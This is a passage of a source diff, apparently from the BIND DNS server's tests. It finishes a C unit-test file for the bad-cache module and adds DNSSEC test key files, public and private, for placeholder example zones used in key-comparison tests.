+	assert_int_equal(result, ISC_R_NOTFOUND);
+
+	result = dns_badcache_find(bc, name, dns_rdatatype_a, &flags, now);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	assert_int_equal(flags, BADCACHE_TEST_FLAG);
+
+	dns_badcache_add(bc, name, dns_rdatatype_a, true, flags, now + 120);
+
+	result = dns_badcache_find(bc, name, dns_rdatatype_a, &flags, now + 61);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	assert_int_equal(flags, BADCACHE_TEST_FLAG);
+
+	dns_badcache_destroy(&bc);
+
+	isc_loopmgr_shutdown(loopmgr);
+}
+
+ISC_LOOP_TEST_IMPL(print) {
+	dns_badcache_t *bc = NULL;
+	dns_fixedname_t fname = { 0 };
+	dns_name_t *name = dns_fixedname_initname(&fname);
+	isc_stdtime_t now = isc_stdtime_now();
+	isc_stdtime_t expire = now + 60;
+	uint32_t flags = BADCACHE_TEST_FLAG;
+	FILE *file = NULL;
+	uint8_t buf[4096];
+	size_t len;
+
+	dns_name_fromstring(name, "example.com.", NULL, 0, NULL);
+
+	bc = dns_badcache_new(mctx);
+	dns_badcache_add(bc, name, dns_rdatatype_a, false, flags, expire);
+	dns_badcache_add(bc, name, dns_rdatatype_aaaa, false, flags, expire);
+
+	file = fopen("./badcache.out", "w");
+	dns_badcache_print(bc, "badcache", file);
+	fclose(file);
+
+	file = fopen("./badcache.out", "r");
+	len = fread(buf, sizeof(buf[0]), ARRAY_SIZE(buf), file);
+	assert_int_equal(len, 68);
+	fclose(file);
+
+	/* Calculated as crc32 ./badcache.out */
+	assert_int_equal(crc32(buf, len), 0x7c96678f);
+
+	dns_badcache_destroy(&bc);
+
+	isc_loopmgr_shutdown(loopmgr);
+}
+
+ISC_LOOP_TEST_IMPL(flush) {
+	dns_badcache_t *bc = NULL;
+	dns_fixedname_t fname = { 0 };
+	dns_name_t *name = dns_fixedname_initname(&fname);
+	isc_stdtime_t now = isc_stdtime_now();
+	isc_result_t result;
+	uint32_t flags = BADCACHE_TEST_FLAG;
+
+	dns_name_fromstring(name, "example.com.", NULL, 0, NULL);
+
+	bc = dns_badcache_new(mctx);
+	dns_badcache_add(bc, name, dns_rdatatype_aaaa, false, flags, now + 60);
+
+	result = dns_badcache_find(bc, name, dns_rdatatype_aaaa, &flags, now);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	dns_badcache_flush(bc);
+
+	result = dns_badcache_find(bc, name, dns_rdatatype_aaaa, &flags, now);
+	assert_int_equal(result, ISC_R_NOTFOUND);
+
+	dns_badcache_destroy(&bc);
+
+	isc_loopmgr_shutdown(loopmgr);
+}
+
+ISC_LOOP_TEST_IMPL(flushname) {
+	dns_badcache_t *bc = NULL;
+	dns_fixedname_t fname = { 0 };
+	dns_name_t *name = dns_fixedname_initname(&fname);
+	isc_stdtime_t now = isc_stdtime_now();
+	isc_result_t result;
+	uint32_t flags = BADCACHE_TEST_FLAG;
+
+	bc = dns_badcache_new(mctx);
+
+	dns_name_fromstring(name, "example.com.", NULL, 0, NULL);
+	dns_badcache_add(bc, name, dns_rdatatype_aaaa, false, flags, now + 60);
+	result = dns_badcache_find(bc, name, dns_rdatatype_aaaa, &flags, now);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	dns_name_fromstring(name, "sub.example.com.", NULL, 0, NULL);
+	dns_badcache_add(bc, name, dns_rdatatype_aaaa, false, flags, now + 60);
+	result = dns_badcache_find(bc, name, dns_rdatatype_aaaa, &flags, now);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	dns_name_fromstring(name, "sub.sub.example.com.", NULL, 0, NULL);
+	dns_badcache_add(bc, name, dns_rdatatype_aaaa, false, flags, now + 60);
+	result = dns_badcache_find(bc, name, dns_rdatatype_aaaa, &flags, now);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	dns_name_fromstring(name, "sub.example.com.", NULL, 0, NULL);
+	dns_badcache_flushname(bc, name);
+
+	result = dns_badcache_find(bc, name, dns_rdatatype_aaaa, &flags, now);
+	assert_int_equal(result, ISC_R_NOTFOUND);
+	result = dns_badcache_find(bc, name, dns_rdatatype_a, &flags, now);
+	assert_int_equal(result, ISC_R_NOTFOUND);
+
+	dns_name_fromstring(name, "sub.sub.example.com.", NULL, 0, NULL);
+	result = dns_badcache_find(bc, name, dns_rdatatype_aaaa, &flags, now);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	dns_name_fromstring(name, "example.com.", NULL, 0, NULL);
+	result = dns_badcache_find(bc, name, dns_rdatatype_aaaa, &flags, now);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	dns_badcache_destroy(&bc);
+
+	isc_loopmgr_shutdown(loopmgr);
+}
+
+ISC_LOOP_TEST_IMPL(flushtree) {
+	dns_badcache_t *bc = NULL;
+	dns_fixedname_t fname = { 0 };
+	dns_name_t *name = dns_fixedname_initname(&fname);
+	isc_stdtime_t now = isc_stdtime_now();
+	isc_result_t result;
+	uint32_t flags = BADCACHE_TEST_FLAG;
+
+	bc = dns_badcache_new(mctx);
+
+	dns_name_fromstring(name, "example.com.", NULL, 0, NULL);
+	dns_badcache_add(bc, name, dns_rdatatype_aaaa, false, flags, now + 60);
+	result = dns_badcache_find(bc, name, dns_rdatatype_aaaa, &flags, now);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	assert_int_equal(flags, BADCACHE_TEST_FLAG);
+
+	dns_name_fromstring(name, "sub.example.com.", NULL, 0, NULL);
+	dns_badcache_add(bc, name, dns_rdatatype_aaaa, false, flags, now + 60);
+	result = dns_badcache_find(bc, name, dns_rdatatype_aaaa, &flags, now);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	assert_int_equal(flags, BADCACHE_TEST_FLAG);
+
+	dns_name_fromstring(name, "sub.sub.example.com.", NULL, 0, NULL);
+	dns_badcache_add(bc, name, dns_rdatatype_aaaa, false, flags, now + 60);
+	result = dns_badcache_find(bc, name, dns_rdatatype_aaaa, &flags, now);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	assert_int_equal(flags, BADCACHE_TEST_FLAG);
+
+	dns_name_fromstring(name, "sub.example.com.", NULL, 0, NULL);
+	dns_badcache_flushtree(bc, name);
+
+	dns_name_fromstring(name, "sub.sub.example.com.", NULL, 0, NULL);
+	result = dns_badcache_find(bc, name, dns_rdatatype_aaaa, &flags, now);
+	assert_int_equal(result, ISC_R_NOTFOUND);
+
+	dns_name_fromstring(name, "sub.example.com.", NULL, 0, NULL);
+	result = dns_badcache_find(bc, name, dns_rdatatype_aaaa, &flags, now);
+	assert_int_equal(result, ISC_R_NOTFOUND);
+
+	dns_name_fromstring(name, "example.com.", NULL, 0, NULL);
+	result = dns_badcache_find(bc, name, dns_rdatatype_aaaa, &flags, now);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	assert_int_equal(flags, BADCACHE_TEST_FLAG);
+
+	dns_badcache_destroy(&bc);
+
+	isc_loopmgr_shutdown(loopmgr);
+}
+
+ISC_LOOP_TEST_IMPL(purge) {
+	dns_badcache_t *bc = NULL;
+	dns_fixedname_t fname = { 0 };
+	dns_name_t *name = dns_fixedname_initname(&fname);
+	isc_stdtime_t now = isc_stdtime_now();
+	isc_result_t result;
+	uint32_t flags = BADCACHE_TEST_FLAG;
+
+	bc = dns_badcache_new(mctx);
+
+	dns_name_fromstring(name, "example.com.", NULL, 0, NULL);
+	dns_badcache_add(bc, name, dns_rdatatype_aaaa, false, flags, now);
+	result = dns_badcache_find(bc, name, dns_rdatatype_aaaa, &flags,
+				   now - 60);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	dns_name_fromstring(name, "sub.example.com.", NULL, 0, NULL);
+	dns_badcache_add(bc, name, dns_rdatatype_aaaa, false, flags, now);
+	result = dns_badcache_find(bc, name, dns_rdatatype_aaaa, &flags,
+				   now - 60);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	dns_name_fromstring(name, "sub.sub.example.com.", NULL, 0, NULL);
+	dns_badcache_add(bc, name, dns_rdatatype_aaaa, false, flags, now);
+	result = dns_badcache_find(bc, name, dns_rdatatype_aaaa, &flags,
+				   now - 60);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	result = dns_badcache_find(bc, name, dns_rdatatype_aaaa, &flags,
+				   now + 30);
+	assert_int_equal(result, ISC_R_NOTFOUND);
+
+	dns_name_fromstring(name, "sub.sub.example.com.", NULL, 0, NULL);
+	result = dns_badcache_find(bc, name, dns_rdatatype_aaaa, &flags,
+				   now + 30);
+	assert_int_equal(result, ISC_R_NOTFOUND);
+
+	dns_name_fromstring(name, "sub.example.com.", NULL, 0, NULL);
+	result = dns_badcache_find(bc, name, dns_rdatatype_aaaa, &flags,
+				   now + 30);
+	assert_int_equal(result, ISC_R_NOTFOUND);
+
+	dns_name_fromstring(name, "example.com.", NULL, 0, NULL);
+	result = dns_badcache_find(bc, name, dns_rdatatype_aaaa, &flags,
+				   now + 30);
+	assert_int_equal(result, ISC_R_NOTFOUND);
+
+	dns_badcache_destroy(&bc);
+
+	isc_loopmgr_shutdown(loopmgr);
+}
+
+ISC_TEST_LIST_START
+ISC_TEST_ENTRY_CUSTOM(basic, setup_managers, teardown_managers)
+ISC_TEST_ENTRY_CUSTOM(expire, setup_managers, teardown_managers)
+ISC_TEST_ENTRY_CUSTOM(print, setup_managers, teardown_managers)
+ISC_TEST_ENTRY_CUSTOM(flush, setup_managers, teardown_managers)
+ISC_TEST_ENTRY_CUSTOM(flushname, setup_managers, teardown_managers)
+ISC_TEST_ENTRY_CUSTOM(flushtree, setup_managers, teardown_managers)
+ISC_TEST_ENTRY_CUSTOM(purge, setup_managers, teardown_managers)
+ISC_TEST_LIST_END
+
+ISC_TEST_MAIN
diff --git a/tests/dns/comparekeys/Kexample-e.+008+53973.key b/tests/dns/comparekeys/Kexample-e.+008+53973.key
new file mode 100644
index 0000000000..a4b0d03f2d
--- /dev/null
+++ b/tests/dns/comparekeys/Kexample-e.+008+53973.key
@@ -0,0 +1,5 @@
+; This is a zone-signing key, keyid 53973, for example-e.
+; Created: 20000101000000 (Sat Jan  1 00:00:00 2000)
+; Publish: 20000101000000 (Sat Jan  1 00:00:00 2000)
+; Activate: 20000101000000 (Sat Jan  1 00:00:00 2000)
+example-e. IN DNSKEY 256 3 8 BQEAAAABophI48PNm9+57mxTvXE8IkomkHmRkaXi9Onc4jxb6c3VgW2Z V7baAzrroAS60MAQHtwuTKgoI4fT7guHW5w+vo6Z1aQd+Tu5m/nx4fSQ 4BW03PbGEQX9gdIPtycERT2DSScbCla7NIkpGEaE2hpW6z2DUxoCfx5+ m3Mch24jCAB5dXcEMJSljodunCMPE4YLMJRgNGBx7HfuRi4LJbQ++U7k VDQNPQumNyAGYgGleiXuximYp04omubjHaXAae2vgr5sJ01gjY9E8mM+ oB+OW8i8nKUZRqoUlqzDs9IxAiSBxDg5BdWuETy4Yt1i8/Vy6wu5E4iN 1ik92pzkr2UJAQ==
diff --git a/tests/dns/comparekeys/Kexample-e.+008+53973.private b/tests/dns/comparekeys/Kexample-e.+008+53973.private
new file mode 100644
index 0000000000..765ca1a3b7
--- /dev/null
+++ b/tests/dns/comparekeys/Kexample-e.+008+53973.private
@@ -0,0 +1,13 @@
+Private-key-format: v1.3
+Algorithm: 8 (RSASHA256)
+Modulus: ophI48PNm9+57mxTvXE8IkomkHmRkaXi9Onc4jxb6c3VgW2ZV7baAzrroAS60MAQHtwuTKgoI4fT7guHW5w+vo6Z1aQd+Tu5m/nx4fSQ4BW03PbGEQX9gdIPtycERT2DSScbCla7NIkpGEaE2hpW6z2DUxoCfx5+m3Mch24jCAB5dXcEMJSljodunCMPE4YLMJRgNGBx7HfuRi4LJbQ++U7kVDQNPQumNyAGYgGleiXuximYp04omubjHaXAae2vgr5sJ01gjY9E8mM+oB+OW8i8nKUZRqoUlqzDs9IxAiSBxDg5BdWuETy4Yt1i8/Vy6wu5E4iN1ik92pzkr2UJAQ==
+PublicExponent: AQAAAAE=
+PrivateExponent: lFgeQHf3klxXlfkNmczDEYHXl37i2iCgZdUsqtho/3LFdfWZrxZr6ACM040dKLHiw1UdhODy5h/Zstif4Ww3LsKKBgpbMnZUTMOI9R+eQmRrhCI96XAur5AIuJCHa+jIbCiamh8xY6g0byp/sUHQxYV02I/lcTdQSeGHSOSqX3QjB835OVa18hyW6txAxM4DVGo/NvIJw2ItSl2qwHTMDHK45t4YbnKEd6suriUiveyax5dU1JtpviwHJiAFPy+L68jMo8cfr+JCLWW2OJYkrBXb8kwqaPsV0RCGZ59sePyRdSYRgNi1brBStesctVc5UfSxH6p2A6C28LdrubcXAQ==
+Prime1: z08i0sCcEpr4MZi4TReohPWp3F5vMQYVux8B3ltmJ3kKraXEmVEVmujhWa+ZDxhJmwKoba65vNEsUbSJN6WwJd7PVyskHb2GnWGK8NtlainFEuiS5CDxwULR4o2SI+Pij9thMQoA13ZTKc9s3E57VgcvJ7vaoD/1ZtpP7tdaerE=
+Prime2: yMid465M6bCXXUfWg7oq6A4MZUULbEPKvs+qGIersdiHfrFRGJ0Lviujs8KHaPS5rt4YmbpQU9tGbJBauY17T03qr/mQOBDx5gDkAJcJ0EUHudFslwqyn50THlJsKrFOxBYl7laY0v6CGCMyuZok8qyhiPHv5dhzSc9zwKaXZ1E=
+Exponent1: iresWJOzm6uAukczw7o59EYiFChIhOhKcDyOVoiYMX+ICqvqgqDEMTT1XbrnUzdwQT4lD8ej11msKzv/uXGwDZcq7GwcrZ3dTsAvZX2ZPdGXYlCnwejde/FHWi5bBJL/Tj2AqnzEFWjCuy5l7IDDfMwv3ImSADrr7ZfVdr85dvE=
+Exponent2: aULzs4ePfvw7foXI6mpRUDL9QKI/6NRpmDtam12VH7m63yqqr1K1808BlZ4oS1fxeMGq9/z7W9sbQpMzXQ/VU7Avl24os5v+lWxmHAES/gMSl9I5Mb5EAvXgLgdb+c3W02ohHKB9ojAXl/vr/e3X7Pmf/iGIeWFOn6WIs7kiquE=
+Coefficient: HS4bN41s6Ak9+6m3vhmLzgHtWMavnLpDkmd6wTBttbtKXHfjbvxMUt4RYeF8BXRtfIqIOZqJJngais1wQfOsgVhHrKVwX+MOThyOk4SD+pvnG6g1B+qUS1czPGP7Rf+7668wK8ZxV9w0+YDbTJgPgivD0lBnLXwT+KCLprMXTe4=
+Created: 20000101000000
+Publish: 20000101000000
+Activate: 20000101000000
diff --git a/tests/dns/comparekeys/Kexample-n.+008+37464.key b/tests/dns/comparekeys/Kexample-n.+008+37464.key
new file mode 100644
index 0000000000..da2e16a227
--- /dev/null
+++ b/tests/dns/comparekeys/Kexample-n.+008+37464.key
@@ -0,0 +1,5 @@
+; This is a zone-signing key, keyid 37464, for example-n.
+; Created: 20000101000000 (Sat Jan  1 00:00:00 2000)
+; Publish: 20000101000000 (Sat Jan  1 00:00:00 2000)
+; Activate: 20000101000000 (Sat Jan  1 00:00:00 2000)
+example-n. IN DNSKEY 256 3 8 AwEAAbxHOF8G0xw9ekCodhL8KivuZ3o0jmGlycLiXBjBN8c5R5fjLjUh D0gy3IDbDC+kLaPhHGF/MwrSEjrgSowxZ8nrxDzsq5ZdpeUsYaNrbQEY /mqf35T/9/Ulm4v06x58v/NTugWd05Xq04aAyfm7EViyGFzmVOVfPnll h9xQtvWEWoRWPseFw+dY5/nc/+xB/IsQMihoH2rO+cek/lsP3R9DsHCG RbQ/ks/+rrp6/O+QJZyZrzsONl7mlMDXNy3Pz9J4qMW2W6Mz702LN324 7/9UsetDGGbuZfrCLMpKWXzdsJm36DOk4aMooS9111plfXaXQgQNcL5G 021utpTau+8=
diff --git a/tests/dns/comparekeys/Kexample-n.+008+37464.private b/tests/dns/comparekeys/Kexample-n.+008+37464.private
new file mode 100644
index 0000000000..65689a2068
--- /dev/null
+++ b/tests/dns/comparekeys/Kexample-n.+008+37464.private
@@ -0,0 +1,13 @@
+Private-key-format: v1.3
+Algorithm: 8 (RSASHA256)
+Modulus: vEc4XwbTHD16QKh2EvwqK+5nejSOYaXJwuJcGME3xzlHl+MuNSEPSDLcgNsML6Qto+EcYX8zCtISOuBKjDFnyevEPOyrll2l5Sxho2ttARj+ap/flP/39SWbi/TrHny/81O6BZ3TlerThoDJ+bsRWLIYXOZU5V8+eWWH3FC29YRahFY+x4XD51jn+dz/7EH8ixAyKGgfas75x6T+Ww/dH0OwcIZFtD+Sz/6uunr875AlnJmvOw42XuaUwNc3Lc/P0nioxbZbozPvTYs3fbjv/1Sx60MYZu5l+sIsykpZfN2wmbfoM6ThoyihL3XXWmV9dpdCBA1wvkbTbW62lNq77w==
+PublicExponent: AQAB
+PrivateExponent: lFgeQHf3klxXlfkNmczDEYHXl37i2iCgZdUsqtho/3LFdfWZrxZr6ACM040dKLHiw1UdhODy5h/Zstif4Ww3LsKKBgpbMnZUTMOI9R+eQmRrhCI96XAur5AIuJCHa+jIbCiamh8xY6g0byp/sUHQxYV02I/lcTdQSeGHSOSqX3QjB835OVa18hyW6txAxM4DVGo/NvIJw2ItSl2qwHTMDHK45t4YbnKEd6suriUiveyax5dU1JtpviwHJiAFPy+L68jMo8cfr+JCLWW2OJYkrBXb8kwqaPsV0RCGZ59sePyRdSYRgNi1brBStesctVc5UfSxH6p2A6C28LdrubcXAQ==
+Prime1: z08i0sCcEpr4MZi4TReohPWp3F5vMQYVux8B3ltmJ3kKraXEmVEVmujhWa+ZDxhJmwKoba65vNEsUbSJN6WwJd7PVyskHb2GnWGK8NtlainFEuiS5CDxwULR4o2SI+Pij9thMQoA13ZTKc9s3E57VgcvJ7vaoD/1ZtpP7tdaerE=
+Prime2: yMid465M6bCXXUfWg7oq6A4MZUULbEPKvs+qGIersdiHfrFRGJ0Lviujs8KHaPS5rt4YmbpQU9tGbJBauY17T03qr/mQOBDx5gDkAJcJ0EUHudFslwqyn50THlJsKrFOxBYl7laY0v6CGCMyuZok8qyhiPHv5dhzSc9zwKaXZ1E=
+Exponent1: iresWJOzm6uAukczw7o59EYiFChIhOhKcDyOVoiYMX+ICqvqgqDEMTT1XbrnUzdwQT4lD8ej11msKzv/uXGwDZcq7GwcrZ3dTsAvZX2ZPdGXYlCnwejde/FHWi5bBJL/Tj2AqnzEFWjCuy5l7IDDfMwv3ImSADrr7ZfVdr85dvE=
+Exponent2: aULzs4ePfvw7foXI6mpRUDL9QKI/6NRpmDtam12VH7m63yqqr1K1808BlZ4oS1fxeMGq9/z7W9sbQpMzXQ/VU7Avl24os5v+lWxmHAES/gMSl9I5Mb5EAvXgLgdb+c3W02ohHKB9ojAXl/vr/e3X7Pmf/iGIeWFOn6WIs7kiquE=
+Coefficient: HS4bN41s6Ak9+6m3vhmLzgHtWMavnLpDkmd6wTBttbtKXHfjbvxMUt4RYeF8BXRtfIqIOZqJJngais1wQfOsgVhHrKVwX+MOThyOk4SD+pvnG6g1B+qUS1czPGP7Rf+7668wK8ZxV9w0+YDbTJgPgivD0lBnLXwT+KCLprMXTe4=
+Created: 20000101000000
+Publish: 20000101000000
+Activate: 20000101000000
diff --git a/tests/dns/comparekeys/Kexample.+002+65316.key b/tests/dns/comparekeys/Kexample.+002+65316.key
new file mode 100644
index 0000000000..c2f470327d
--- /dev/null
+++ b/tests/dns/comparekeys/Kexample.+002+65316.key
@@ -0,0 +1 @@
+example. IN KEY 512 3 2 AAECAAAAgKVXnUOFKMvLvwO/VdY9bq+eOPBxrRWsDpcL9FJ9+hklVvii pcLOIhiKLeHI/u9vM2nhd8+opIW92+j2pB185MRgSrINQcC+XpI/xiDG HwE78bQ+2Ykb/memG+ctkVyrFGHtaJLCUGWrUHy1jbtvYeaKeS92jR/2 4oryt3N851u5
diff --git a/tests/dns/comparekeys/Kexample.+002+65316.private b/tests/dns/comparekeys/Kexample.+002+65316.private
new file mode 100644
index 0000000000..e872834ca5
--- /dev/null
+++ b/tests/dns/comparekeys/Kexample.+002+65316.private
@@ -0,0 +1,9 @@
+Private-key-format: v1.3
+Algorithm: 2 (DH)
+Prime(p): ///////////JD9qiIWjCNMTGYouA3BzRKQJOCIpnzHQCC76mOxObIlFKCHmONATd75UZs806QxswKwpt8l8UN0/hNW1tUcJF5IW1dmJefsb0TELppjftawv/XLb0Brft7jhr+1qJn6WunyQRfEsf5kkoZlHs5lOB//////////8=
+Generator(g): Ag==
+Private_value(x): bUMVaaSCAPT0NK7AkIa0JA1SSw83x8WxS+iePECQwr4xDDMnevNHWK1nIofUM2qNbpDe2KvFIt9tu+1UgZgOTLoQFipePtHKOjoRX6XsGNzKmL8WZOlw/QJw0D5RIn7l7tvmBCeNHINl9IWVgMLTi+wgzrJxSeGe406q23Jn4Uc=
+Public_value(y): pVedQ4Uoy8u/A79V1j1ur5448HGtFawOlwv0Un36GSVW+KKlws4iGIot4cj+728zaeF3z6ikhb3b6PakHXzkxGBKsg1BwL5ekj/GIMYfATvxtD7ZiRv+Z6Yb5y2RXKsUYe1oksJQZatQfLWNu29h5op5L3aNH/biivK3c3znW7k=
+Created: 20000101000000
+Publish: 20000101000000
+Activate: 20000101000000
diff --git a/tests/dns/comparekeys/Kexample.+008+53461.key b/tests/dns/comparekeys/Kexample.+008+53461.key
new file mode 100644
index 0000000000..33c81880c2
--- /dev/null
+++ b/tests/dns/comparekeys/Kexample.+008+53461.key
@@ -0,0 +1,5 @@
+; This is a zone-signing key, keyid 53461, for example.
+; Created: 20000101000000 (Sat Jan  1 00:00:00 2000)
+; Publish: 20000101000000 (Sat Jan  1 00:00:00 2000)
+; Activate: 20000101000000 (Sat Jan  1 00:00:00 2000)
+example. IN DNSKEY 256 3 8 AwEAAaKYSOPDzZvfue5sU71xPCJKJpB5kZGl4vTp3OI8W+nN1YFtmVe2 2gM666AEutDAEB7cLkyoKCOH0+4Lh1ucPr6OmdWkHfk7uZv58eH0kOAV tNz2xhEF/YHSD7cnBEU9g0knGwpWuzSJKRhGhNoaVus9g1MaAn8efptz HIduIwgAeXV3BDCUpY6HbpwjDxOGCzCUYDRgcex37kYuCyW0PvlO5FQ0 DT0LpjcgBmIBpXol7sYpmKdOKJrm4x2lwGntr4K+bCdNYI2PRPJjPqAf jlvIvJylGUaqFJasw7PSMQIkgcQ4OQXVrhE8uGLdYvP1cusLuROIjdYp Pdqc5K9lCQE=
diff --git a/tests/dns/comparekeys/Kexample.+008+53461.private b/tests/dns/comparekeys/Kexample.+008+53461.private
new file mode 100644
index 0000000000..dd4d9a4237
--- /dev/null
+++ b/tests/dns/comparekeys/Kexample.+008+53461.private
@@ -0,0 +1,13 @@
+Private-key-format: v1.3
+Algorithm: 8 (RSASHA256)
+Modulus: ophI48PNm9+57mxTvXE8IkomkHmRkaXi9Onc4jxb6c3VgW2ZV7baAzrroAS60MAQHtwuTKgoI4fT7guHW5w+vo6Z1aQd+Tu5m/nx4fSQ4BW03PbGEQX9gdIPtycERT2DSScbCla7NIkpGEaE2hpW6z2DUxoCfx5+m3Mch24jCAB5dXcEMJSljodunCMPE4YLMJRgNGBx7HfuRi4LJbQ++U7kVDQNPQumNyAGYgGleiXuximYp04omubjHaXAae2vgr5sJ01gjY9E8mM+oB+OW8i8nKUZRqoUlqzDs9IxAiSBxDg5BdWuETy4Yt1i8/Vy6wu5E4iN1ik92pzkr2UJAQ==
+PublicExponent: AQAB
+PrivateExponent: lFgeQHf3klxXlfkNmczDEYHXl37i2iCgZdUsqtho/3LFdfWZrxZr6ACM040dKLHiw1UdhODy5h/Zstif4Ww3LsKKBgpbMnZUTMOI9R+eQmRrhCI96XAur5AIuJCHa+jIbCiamh8xY6g0byp/sUHQxYV02I/lcTdQSeGHSOSqX3QjB835OVa18hyW6txAxM4DVGo/NvIJw2ItSl2qwHTMDHK45t4YbnKEd6suriUiveyax5dU1JtpviwHJiAFPy+L68jMo8cfr+JCLWW2OJYkrBXb8kwqaPsV0RCGZ59sePyRdSYRgNi1brBStesctVc5UfSxH6p2A6C28LdrubcXAQ==
+Prime1: z08i0sCcEpr4MZi4TReohPWp3F5vMQYVux8B3ltmJ3kKraXEmVEVmujhWa+ZDxhJmwKoba65vNEsUbSJN6WwJd7PVyskHb2GnWGK8NtlainFEuiS5CDxwULR4o2SI+Pij9thMQoA13ZTKc9s3E57VgcvJ7vaoD/1ZtpP7tdaerE=
+Prime2: yMid465M6bCXXUfWg7oq6A4MZUULbEPKvs+qGIersdiHfrFRGJ0Lviujs8KHaPS5rt4YmbpQU9tGbJBauY17T03qr/mQOBDx5gDkAJcJ0EUHudFslwqyn50THlJsKrFOxBYl7laY0v6CGCMyuZok8qyhiPHv5dhzSc9zwKaXZ1E=
+Exponent1: iresWJOzm6uAukczw7o59EYiFChIhOhKcDyOVoiYMX+ICqvqgqDEMTT1XbrnUzdwQT4lD8ej11msKzv/uXGwDZcq7GwcrZ3dTsAvZX2ZPdGXYlCnwejde/FHWi5bBJL/Tj2AqnzEFWjCuy5l7IDDfMwv3ImSADrr7ZfVdr85dvE=
+Exponent2: aULzs4ePfvw7foXI6mpRUDL9QKI/6NRpmDtam12VH7m63yqqr1K1808BlZ4oS1fxeMGq9/z7W9sbQpMzXQ/VU7Avl24os5v+lWxmHAES/gMSl9I5Mb5EAvXgLgdb+c3W02ohHKB9ojAXl/vr/e3X7Pmf/iGIeWFOn6WIs7kiquE=
+Coefficient: HS4bN41s6Ak9+6m3vhmLzgHtWMavnLpDkmd6wTBttbtKXHfjbvxMUt4RYeF8BXRtfIqIOZqJJngais1wQfOsgVhHrKVwX+MOThyOk4SD+pvnG6g1B+qUS1czPGP7Rf+7668wK8ZxV9w0+YDbTJgPgivD0lBnLXwT+KCLprMXTe4=
+Created: 20000101000000
+Publish: 20000101000000
+Activate: 20000101000000
diff --git a/tests/dns/comparekeys/Kexample.+013+19786.key b/tests/dns/comparekeys/Kexample.+013+19786.key
new file mode 100644
index 0000000000..ccfcc97d31
--- /dev/null
+++ b/tests/dns/comparekeys/Kexample.+013+19786.key
@@ -0,0 +1,5 @@
+; This is a zone-signing key, keyid 19786, for example.
+; Created: 20000101000000 (Sat Jan  1 00:00:00 2000)
+; Publish: 20000101000000 (Sat Jan  1 00:00:00 2000)
+; Activate: 20000101000000 (Sat Jan  1 00:00:00 2000)
+example. IN DNSKEY 256 3 13 S35Z1XtGlnnU7BBahMJwAZXXff+JupyIDssNfJyrugLKq5R10TJ5tU3W r3VuP6aJNs6+uL2cMPVTVT1vr1Aqwg==
diff --git a/tests/dns/comparekeys/Kexample.+013+19786.private b/tests/dns/comparekeys/Kexample.+013+19786.private
new file mode 100644
index 0000000000..0d72cf1c62
--- /dev/null
+++ b/tests/dns/comparekeys/Kexample.+013+19786.private
@@ -0,0 +1,6 @@
+Private-key-format: v1.3
+Algorithm: 13 (ECDSAP256SHA256)
+PrivateKey: ZYcYhR5f98vI1+BFGKLIrarZrqxJM4mRy9tvwntdYoo=
+Created: 20000101000000
+Publish: 20000101000000
+Activate: 20000101000000
diff --git a/tests/dns/comparekeys/Kexample.+015+63663.key b/tests/dns/comparekeys/Kexample.+015+63663.key
new file mode 100644
index 0000000000..92db9fbcf9
--- /dev/null
+++ b/tests/dns/comparekeys/Kexample.+015+63663.key
@@ -0,0 +1,5 @@
+; This is a zone-signing key, keyid 63663, for example.
+; Created: 20000101000000 (Sat Jan  1 00:00:00 2000)
+; Publish: 20000101000000 (Sat Jan  1 00:00:00 2000)
+; Activate: 20000101000000 (Sat Jan  1 00:00:00 2000)
+example. IN DNSKEY 256 3 15 ZLlkI5q8XDkP3D7Zxdbmuqh4yp90mbvdcNT0xSGLDtI=
diff --git a/tests/dns/comparekeys/Kexample.+015+63663.private b/tests/dns/comparekeys/Kexample.+015+63663.private
new file mode 100644
index 0000000000..c2c48f3bf5
--- /dev/null
+++ b/tests/dns/comparekeys/Kexample.+015+63663.private
@@ -0,0 +1,6 @@
+Private-key-format: v1.3
+Algorithm: 15 (ED25519)
+PrivateKey: rGYsnf8nPlg7kg7qRcIXYShPsTiMHTeWJInNrW9GwSQ=
+Created: 20000101000000
+Publish: 20000101000000
+Activate: 20000101000000
diff --git a/tests/dns/comparekeys/Kexample2.+002+19823.key b/tests/dns/comparekeys/Kexample2.+002+19823.key
new file mode 100644
index 0000000000..9d521f7ec3
--- /dev/null
+++ b/tests/dns/comparekeys/Kexample2.+002+19823.key
@@ -0,0 +1 @@
+example2. IN KEY 512 3 2 AAECAAAAgCxVfxiyTe8C83ou8KXSu9WmzGwCYWB2NkdS87Kz0PgTuBay JkDDAEeR6CIYClA6PXBp2GXUPHoYWag9zVOVU85PYu0KRZF69EN0IVsA OCtgikOcr5yD4esSMwTTPk/OQ8qW/yGf1DvdpXuiu3P/wSpzVGL8tHFQ 2XURydYytol0
diff --git a/tests/dns/comparekeys/Kexample2.+002+19823.private b/tests/dns/comparekeys/Kexample2.+002+19823.private
new file mode 100644
index 0000000000..f6722f6e04
--- /dev/null
+++ b/tests/dns/comparekeys/Kexample2.+002+19823.private
@@ -0,0 +1,9 @@
+Private-key-format: v1.3
+Algorithm: 2 (DH)
+Prime(p): ///////////JD9qiIWjCNMTGYouA3BzRKQJOCIpnzHQCC76mOxObIlFKCHmONATd75UZs806QxswKwpt8l8UN0/hNW1tUcJF5IW1dmJefsb0TELppjftawv/XLb0Brft7jhr+1qJn6WunyQRfEsf5kkoZlHs5lOB//////////8=
+Generator(g): Ag==
+Private_value(x): W0EpuIMltmMuZAKcCmRe/Ix9WsHPU/GLfqbjHKCjgYdRFzwqHyVp6z+uf8EgmHBD1bbBjwfcnRse8xfqqmt/wZIRdDzjRq/oZdKtJHqFZSO+MQZ5DKrdojKU7UEl/j44heJzVO0qFkrPvWglRt+780LP0awkfetecXDxvJT+HIw=
